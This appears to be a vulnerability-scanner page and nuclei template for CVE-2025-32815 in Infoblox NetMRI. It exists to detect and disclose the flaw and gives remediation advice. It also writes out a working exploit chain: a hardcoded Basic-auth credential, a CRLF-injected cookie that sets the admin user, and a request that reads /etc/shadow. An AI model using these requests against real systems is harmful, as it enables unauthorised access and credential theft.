NetMRI < 7.6.1 - Authentication Bypass via Hardcoded Credentials

mediumseverity

6.5CVSS score

40.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

An issue was discovered in Infoblox NETMRI before 7.6.1. Authentication Bypass via a Hardcoded credential can occur.

Impact

Attackers can bypass authentication using hardcoded credentials to access administrative functions and read sensitive system files including /etc/shadow.

Fix

Upgrade to Infoblox NetMRI version 7.6.1 or later and change all default credentials immediately.

How to confirm it

Send: GET /netmri/common/SetRawCookie.tdf?name=letmein&value=%78%79%7a%0d%0a%55%73%65%72%4e%61%6d%65%3d%61%64%6d%69%6e
Positive when: status_code == 200 and contains(set_cookie, "Skipjack-")
Send: GET /visual/ViewerFileServlet?fileName=/etc/shadow
Positive when: contains_all(body, 'root:','bin:','netmri:') and contains(content_type, 'text/xml')

Run it with nuclei: nuclei -id CVE-2025-32815 -u <target>

The full check

id: CVE-2025-32815

info:
  name: NetMRI < 7.6.1 - Authentication Bypass via Hardcoded Credentials
  author: iamnoooob,pdresearch
  severity: medium
  description: |
    An issue was discovered in Infoblox NETMRI before 7.6.1. Authentication Bypass via a Hardcoded credential can occur.
  impact: |
    Attackers can bypass authentication using hardcoded credentials to access administrative functions and read sensitive system files including /etc/shadow.
  remediation: |
    Upgrade to Infoblox NetMRI version 7.6.1 or later and change all default credentials immediately.
  reference:
    - https://rhinosecuritylabs.com/research/infoblox-multiple-cves/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32815
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-32815
    cwe-id: CWE-287
    epss-score: 0.40777
    epss-percentile: 0.98667
    cpe: cpe:2.3:a:infoblox:netmri:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: infoblox
    product: netmri
    fofa-query: icon_hash="-319724102"
  tags: cve,cve2025,auth-bypass,netmri,hardcoded,infoblox,vkev,vuln

http:
  - raw:
      - |
        GET /netmri/common/SetRawCookie.tdf?name=letmein&value=%78%79%7a%0d%0a%55%73%65%72%4e%61%6d%65%3d%61%64%6d%69%6e HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic X3BtOnBtMTk3MjY=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(set_cookie, "Skipjack-")'
        condition: and
        internal: true

  - raw:
      - |
        GET /visual/ViewerFileServlet?fileName=/etc/shadow HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, 'root:','bin:','netmri:')"
          - "contains(content_type, 'text/xml')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from